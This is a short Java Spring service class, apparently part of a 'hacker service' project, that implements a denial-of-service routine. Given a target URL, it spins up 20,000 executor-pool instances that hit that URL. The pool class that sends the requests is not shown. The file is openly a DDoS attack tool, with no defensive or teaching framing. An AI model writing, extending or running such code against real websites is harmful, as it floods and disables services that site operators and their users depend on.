package com.example.harkerservice.service.impl;

import com.example.harkerservice.service.DdosService;
import com.example.harkerservice.service.thread.DdosExceutorPool;
import org.springframework.stereotype.Service;

/**
 * Description：
 *
 * @Author: cw
 * CreateTime：2022-10-14
 */
@Service
public class DdosServiceImpl implements DdosService {

    @Override
    public void ddosExceutor(String url) {
        int i = 0;
        while(i < 20000){
            DdosExceutorPool exceutorPool = new DdosExceutorPool();
            exceutorPool.setUrl(url);
            exceutorPool.executor();
            i++;
        }

    }
}
